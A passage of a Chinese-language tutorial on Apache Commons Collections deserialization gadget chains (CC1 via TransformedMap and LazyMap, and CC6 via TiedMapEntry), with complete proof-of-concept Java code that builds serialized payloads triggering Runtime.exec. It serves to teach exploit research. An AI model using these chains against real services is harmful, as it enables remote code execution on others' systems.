// 输出: {NAME=123_suffix, CITY=beijing_suffix}
}
}
通过定义一个Key转换器和Value转换器,我们成功实现了让Key转大写以及Value后面加后缀的功能。
ConstantTransformer
ConstantTransformer是实现了Transformer接⼝的⼀个类,也是一个返回固定值的转换器,无论输入什么,始终返回一个固定值,常用于返回某个类的 Class
对象、反射对象等,作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作:
public class ConstantTransformer implements Transformer {
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
比如 new ConstantTransformer(Runtime.class)
,调用 .transform(anything)
就会返回 Runtime.class
InvokerTransformer
InvokerTransformer
也是 Transformer
接口的一个实现,作用就是:给定方法名和参数,通过 Java 反射机制调用对象的某个方法:
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
try {
Method method = input.getClass().getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (Exception e) {
throw new FunctorException("InvokerTransformer failed", e);
}
}
}
实例化他的时候需要传入三个参数,第一个参数是待执行的方法名,第二个参数是函数参数的类型,第三个参数是传给该函数的参数,比如下面的例子:
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Example_2 {
public static void main(String[] args) {
// 创建一个 InvokerTransformer,调用 toUpperCase 方法,无参数
Transformer transformer = new InvokerTransformer(
"toUpperCase",
null,
null
);
Object result = transformer.transform("taffy");
System.out.println(result); // 输出:TAFFY
}
}
这里我们就利用InvokerTransformer
通过反射调用了一次toUpperCase方法,把小写的taffy转成了大写的TAFFY
ChainedTransformer
ChainedTransformer
实现了 Transformer
接口,内部维护一个 Transformer[]
数组,依次执行每个 transform()
,前一个的输出作为后一个的输入:
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
iTransformers = transformers;
}
public Object transform(Object input) {
Object result = input;
for (int i = 0; i < iTransformers.length; i++) {
result = iTransformers[i].transform(result);
}
return result;
}
}
比如下面的代码:
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Example_3 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("toUpperCase", null, null),
new InvokerTransformer("getClass", null, null),
new InvokerTransformer("getName", null, null)
};
Transformer chained = new ChainedTransformer(transformers);
Object result = chained.transform("taffy");
System.out.println(result); // 输出 java.lang.String
}
}
在这里的代码中,我们首先调用 toUpperCase 将字符串变成了大写的TAFFY,接着调用 getClass() 获得 String.class,最后调用 getName() 获得 "java.lang.String"
。
代码分析
现在回到代码我们应该就好理解的多了,第一段的代码:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
这里我们其实就是创建了一个 ChainedTransformer 来实现多个 Transformer 之间的连接。首先是一个是ConstantTransformer ,他直接返回了环境里的 Runtime.class ,一个Runtime对象,接着是一个 InvokerTransformer ,他调用了Runtime对象里的exec⽅法(第一个ConstantTransformer返回后我们现在就是Runtime对象了),传入的参数类型是String,具体的参数是calc.exe
不过这个transformerChain只是一系列的回调,我们还需要使用它对innerMap进行包装,使用的就是我们之前提过的TransformedMap
,这也是最后这段代码的由来:
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
最后我们通过向Map放入元素触发回调(前文提过,TransformedMap是在put的时候触发的):
outerMap.put("test", "xxxx");
不过这个demo里最后的 outerMap 是不能序列化,还有一些其他的问题。
如何进行序列化
触发TransformedMap的核心是使用put,手工执行当然无所谓,但是真正反序列化的时候我们还得找到一个类,它在readObject的时候存在写入,这样才能成功执行我们的恶意代码。
AnnotationInvocationHandler
这个我们想找的存在写入的类就是sun.reflect.annotation.AnnotationInvocationHandler:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(…)。这里的memberValue其实是反序列化后得到的Map,也是经过了TransformedMap
修饰的对象,这里遍历了它的所有元素,并依次设置值,而在 setValue 这里一旦设置值就会触发TransformedMap里注册的 Transform,进而执行代码。
Iterator var4 = this.memberValues.entrySet().iterator();
Entry var5 = (Entry)var4.next();
var5.setValue()
POC构造
这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是内部的类,不能直接使
用new来实例化,因此这里使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了,然后我们就可以创建一个AnnotationInvocationHandler并且把前面构造的hashmap设置进来。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
newInstance这里有两个参数,第二个参数传入的自然就是我们之前创建好的恶意Map,那这个Retention.class是什么呢?我们直接看到AnnotationInvocationHandler的构造方法:
可以看到第二个参数是一个Map,而第一个参数是一个Class<? extends Annotation>,也就是说第一个参数必须是Annotation的子类,至于为什么最后选择了 Retention.class呢?过会儿再说(*^_^*)
现在当我们加上序列化的部分,我们的完整代码是:
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class easycc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("test", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
很可惜,这个代码是跑不通的:
错误原因这里说的也很明显,就是Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列
化,因此这里我们需要利用反射,而不是直接使用这个类:
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");
转换一下写法:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]
}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{
"calc.exe"}),
};
以前通过ConstantTransformer 获取 Runtime.getRuntime() 得到的是java.lang.Runtime
对象,无法序列化,现在变成了Runtime.class,是java.lang.Class 对象,Class类有实现Serializable接口,所以可以被序列化,然后我们通过getMethod 和 invoke就能愉快的执行命令了——吗?其实还是不行的:
我们看到最初readObject的代码,它的最后其实是有一个判断的,必须保证 if (var7 != null),那如何保证这个var7不为null呢?回看最初的AnnotationInvocationHandler构造方法:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
var1会被赋值给this.type
,var2会被赋值给this.memberValues
,而当我们在反序列化的时候,进入readObject方法,执行了这么一段代码:
var2 = AnnotationType.getInstance(this.type);
我们看到AnnotationType.getInstance,这里我们传入的this.type即是Retention.class:
可以看到这里进行了一次new AnnotationType(var0),我们再看到AnnotationType:
这里的var2的值其实就是Retention的方法列表,而Retention其实只有一个value方法:
从代码里可以看出来,var2的值最后赋值给了var3,通过一个循环把方法列表var3中的方法取出存在var6,然后用String var7 = var6.getName()
把方法名存在var7:
最后这个this.memberTypes.put(var7, invocationHandlerReturnType(var8))将var7作为键值存入了memberTypes。而在getInstance中可以看出到var2的memberTypes是个HashMap,他的第一个元素的键值就是Retention的方法”value”这个字符串
回到readObject,这里var2出来以后,他的memberTypes赋值给了var3,即:
Map var3 = var2.memberTypes();
继续往下,var6是var5的key,也就是“value”:
String var6 = (String)var5.getKey();
终于走到var7,最后var7这的代码是:
Class var7 = (Class)var3.get(var6);
其实就是var7=var3.get(“value”),而我们var3的键就是value,所以var7不会为null,就执行了我们想要的setValue了,所以最后能跑通的代码里,我们需要给Map中放入一个Key是value的元素:
innerMap.put("value", "xxxx");
不过这个代码在Java 8u71以前还能跑通,再往后就通不了了,我前面用的环境是8u65:
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class easycc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]
}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{
"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
LazyMap
值得注意的是,上面的代码是只有低版本有效的,导致yso内部其实用的不是这条链子。高版本之后不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,所以后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了,因此在yso中选择了LazyMap而不是TransformedMap进行利用。
LazyMap
是 Apache Commons Collections 提供的一个装饰器模式的 Map,用于在访问不存在的键时,“懒加载”地计算并插入值。也就是说 LazyMap 其实是 Map
的一种特殊实现,当访问某个 key,如果这个 key 不存在,会自动使用一个 Transformer
来生成 value,并插入 Map 中,比如下面的代码例子:
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class LazyMapExample {
public static void main(String[] args) {
// 创建基础的 map
Map baseMap = new HashMap();
// 创建 Transformer,用于生成默认值
Transformer transformer = new ConstantTransformer("default-value");
// 创建 LazyMap,访问不存在的 key 时使用 transformer 生成 value
Map lazyMap = LazyMap.decorate(baseMap, transformer);
// 正常 put/get
lazyMap.put("name", "taffy");
System.out.println(lazyMap.get("name")); // 输出: taffy
// 访问不存在的 key,会触发 transformer
System.out.println(lazyMap.get("nonexistent")); // 输出: default-value
}
}
可以看到,如果我们访问不存在的key,就触发了我们之前预定设置好的transformer,返回了default-value,是不是有点像php反序列化里的某个魔术方法?也是访问不存在的东西之后进行触发。
因此LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执
行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap
的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
并且这个factory其实是我们可控的:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
所以我们只需要传入Map和transformerChain就可以构造一个LazyMap:
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
不过LazyMap的后续利用稍微复杂一些,sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到 Map 的get方法,而是使用了AnnotationInvocationHandler.invoke():
这里确实使用了一次get,那么现在问题就变成了如何调用这个AnnotationInvocationHandler.invoke()了,而解决这个问题的办法就是对象代理。
对象代理
Java 的对象代理机制主要有两种方式:静态代理 和 动态代理。这两种方式的核心思想是:通过“代理类”来间接访问“目标对象”,可以在调用目标对象的方法时加入一些增强逻辑,比如权限校验、日志记录、事务管理等。
动态代理就是在运行时,动态地生成某个接口的实现类对象,并实现它的方法逻辑。而不像平时那样手动写类去 implements
接口,我们通过代码“即时”构造出这个实现类——这就叫动态。
首先,我们需要实现一个接口(这是一个抽象类型,是抽象方法的集合,接口通常以interface来声明。一个类通过继承接口的方式,从而来继承接口的抽象方法):
interface Service {
void doSomething();
}
接着我们需要定义一个 InvocationHandler,这个类是干活的“幕后黑手”,所有的方法调用都会走到这里,然后我们可以控制是直接执行、做点额外处理、甚至不执行:
class MyHandler implements InvocationHandler {
private final Object target;
public MyHandler(Object target) {
this.target = target;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("调用前:" + method.getName());
Object result = method.invoke(target, args);
System.out.println("调用后:" + method.getName());
return result;
}
}
然后我们需要使用 Proxy.newProxyInstance() 生成代理对象,它会生成一个实现了 Service 接口的匿名类对象,并把调用都交给提供的 handler 来处理
Service proxy = (Service) Proxy.newProxyInstance(
Service.class.getClassLoader(), // 1. 接口的类加载器
new Class[]{Service.class}, // 2. 接口数组(至少要传一个)
new MyHandler(new RealService()) // 3. InvocationHandler,告诉代理对象怎么做事
);
最后,我们只需要使用代理对象像平时一样调用方法即可,而此时实际上走进了 MyHandler.invoke()
方法:
proxy.doSomething();
总而言之,动态代理的本质是:通过 Proxy
在运行时创建一个实现接口的匿名类,并把对接口方法的调用转发给 InvocationHandler 实例的 invoke()
方法。
package com.CC;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
interface Service {
void doSomething();
}
class RealService implements Service {
public void doSomething() {
System.out.println("真正的服务执行了");
}
}
class MyHandler implements InvocationHandler {
private final Object target;
public MyHandler(Object target) {
this.target = target;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("调用前:" + method.getName());
Object result = method.invoke(target, args);
System.out.println("调用后:" + method.getName());
return result;
}
}
public class DynamicProxy_Example {
public static void main(String[] args) {
Service proxy = (Service) Proxy.newProxyInstance(
Service.class.getClassLoader(), // 1. 接口的类加载器
new Class[]{Service.class}, // 2. 接口数组(至少要传一个)
new MyHandler(new RealService()) // 3. InvocationHandler,告诉代理对象怎么做事
);
proxy.doSomething(); // 实际调用代理对象的方法
}
}
使用LazyMap构造利用链
回到源码,sun.reflect.annotation.AnnotationInvocationHandler 其实就是一个InvocationHandler,我们如果用AnnotationInvocationHandler去代理我们设计好的Map的话,那么这个Map执行任意的方法都会走invoke从而触发get,从而走我们的链子触发RCE:
事实上我们只需要稍微修改一下上一节给出的代码,首先用LazyMap替换TransformedMap:
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
接着对sun.reflect.annotation.AnnotationInvocationHandler进行Proxy:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
但就算Proxy完我们也不能直接进行序列化,因为我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,还要用AnnotationInvocationHandler对这个proxyMap进行包裹:
handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);
现在的代码如下:
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class easycc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]
}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{
"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// innerMap.put("value", "xxxx");
// Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//
// Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
// construct.setAccessible(true);
// Object obj = construct.newInstance(Retention.class, outerMap);
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
在高版本的AnnotationInvocationHandler里的方法readObject中,我们传入的Map不会再执行set或put操作,因此该链子还是没用了,我们现在的Gadget如下(readObject里有一步对我们的LazyMap进行了entrySet,而经过对象代理后,对LazyMap的任何方法调用都会走AnnotationInvocationHandler的invoke,继而触发get查询为空,最后触发LazyMap的transform执行恶意代码,整个过程最后就串起来了):
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CommonsCollections6
上面说到,在8u71之后AnnotationInvocationHandler#readObject的逻辑发生了变化,不再对我们传入的Map进行set或者put,导致我们之前的链子打不通了,那么如何在高版本下解决这个问题呢?我们来看看p神给出的简化版gadget:
我们主要看从开始到LazyMap.get()的部分,因为后面的过程和CC1的链子其实是一样的,想要在高版本下实现RCE的思路其实也比较明显,就是找到一个能触发LazyMap.get()的地方,上一章里我们是通过动态代理,从 AnnotationInvocationHandler.readObject
到 this.memberValues.entrySet()
再到 AnnotationInvocationHandler.invoke()
最后触发的这个invoke里的get。而在高版本下,我们的解决办法是走 org.apache.commons.collections.keyvalue.TiedMapEntry.getValue
:
在实例化的时候我们可以直接控制他的map和key,而getValue这里直接调用了 this.map.get(this.key)
,可谓非常舒服。而再回头看,他的 hashCode
方法又执行了 this.getValue()
:
那么哪里调用了这个 TiedMapEntry#hashCode
呢,gadget里是选择了 HashMap.hash()
,是不是有点眼熟,这个其实在URLDNS里出现过,HashMap的readobject里调用了hash,就是那行 putVal(hash(key), key, value, false, false)
,而 HashMap.hash()
触发了 key.hashCode()
:
所以现在思路非常清晰了,我们只要在这里控制 key 为 TiedMapEntry ,整个链子就又串起来了。
首先,我们来创建一个恶意Map:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
稍微不同的是,为了避免本地调试时就出现命令执行,这里我们需要先使用一个人畜无害的 fakeTransformers
,等最后生成payload的时候再把真的Transformers
写进去,因此现在代码长这样:
Transformer[] faketransformer = new Transformer[]{new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) })};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1) };
// 传入fake防止序列化时执行
Transformer transformerChain = new ChainedTransformer(faketransformer);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
接着我们将这个恶意outerMap作为 TiedMapEntry 的map属性:
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
然后为了调用TiedMapEntry#hashCode()
,我们还需要将tme作为一个全新的HashMap的key:
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
最后,设置真正的 transformers ,将这个 expMap进行序列化,
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
不过现在这个代码其实还是跑不通的,因为expMap.put(tme, "valuevalue")
这句代码其实也触发了一次hash
,具体而言触发的是 hash(key)
,毕竟我们的expMap
也是一个HashMap,导致LazyMap的链子此时其实提前调用了一遍,而且因为当时使用的还是 faketransformer ,所以也没有执行代码,解决办法也很简单,把这个key移除了让他触发不了即可(注意,这里 expMap
触发的是 tme 的key,而 tme 的key是”keykey”,调用TiedMapEntry的构造函数时,第一个参数是Map,这里是我们的恶意Map,而第二个参数是key,即”keykey”):
outerMap.remove(“keykey”)
完整的代码:
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
现在对着最初的Gadget,我们来回忆一下整个过程,通过 TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey")
以及后面对于恶意transformer的替换,我们实现了对TiedMapEntry
使用恶意transformer实例化,只要触发他的TiedMapEntry#get
即可触发恶意代码。为了触发 TiedMapEntry#get
,我们需要触发 TiedMapEntry#getValue()
;而为了触发 TiedMapEntry#getValue(),
我们需要需要触发TiedMapEntry#hashCode()
;为了触发TiedMapEntry#hashCode
,我们想到了最初URLDNS链子里的HashMap,因为HashMap#readobject
里触发了HashMap#hash()
,而HashMap#hash()
可以触发key.hashCode()
,所以我们需要使用Map expMap = new HashMap(); expMap.put(tme, "valuevalue")
,将已经装好恶意 Map 的 TiedMapEntry
对象 tme 作为 expMap
的 key ,因为这样在HashMap readobject的时候就可以触发HashMap#hash()
从而触发key.hashCode()
即TiedMapEntry#hashCode()
,然后一路执行直到我们最后的恶意代码。
Java中动态加载字节码
Java字节码
Java 里的字节码是 Java 程序编译后生成的一种中间表示形式,它不是纯机器码,也不是源代码,而是介于两者之间的 “可移植的指令集”,这就要说到一个有趣的点,因为 Java 程序的执行其实不直接依赖具体操作系统或硬件架构,而是由 JVM(Java Virtual Machine,Java虚拟机)来负责解释执行或编译为本地机器码。
JVM是Java为了实现跨平台而引入的,Java的核心设计理念叫做:Write Once, Run Anywhere(一次编写,到处运行),所以 Java 把源代码编译成中间格式 —— 字节码(.class 文件),这个中间格式不会直接运行在操作系统上,而是运行在各平台提供的 JVM 上。因此我们在命令行里看到的程序输出,其实是JVM执行之后输出的,而不是真的由我们的操作系统执行的结果,你甚至可以使用kotlin等等非java的语言编写程序,只要你的编译器能将其编译成.class文件,他们都可以在JVM上运行。
因此这里我们所说的字节码非常广义,只要他是能被恢复成类并在JVM里执行的字节序列,我们都认为他是一种Java字节码。
URLClassLoader远程加载
ClassLoader
的作用是在运行时把 .class
字节码文件加载进 JVM,并生成对应的 Class
对象。我们写的每个类在运行前都必须被加载进 JVM,而这个加载的过程就是由类加载器 ClassLoader
来完成的。默认情况下,ClassLoader
根据类名加载类,这个类是一个完整的路径,比如java.lang.runtime
。
而 URLClassLoader
就是 Java 提供的一个非常常用的类加载器,它可以通过 URL 来动态加载类或 jar 包里的类,它是 java.net.URLClassLoader
类,是 ClassLoader
的一个子类,可以:
- 常用于插件系统、动态扩展模块等
- 从本地路径、网络路径、jar 包中加载类
- 用指定的
URL[]
作为 classpath
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
- URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
- URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻 找.class文件
- URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
一般而言,我们开发的时候都是用的前两者,而如果出现非file协议的情况,比如http协议,我们就会使用Loader来寻找类。
比如我们现在写一个Evil.java:
package classExample;
public class Evil {
public static void main(String[] args) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
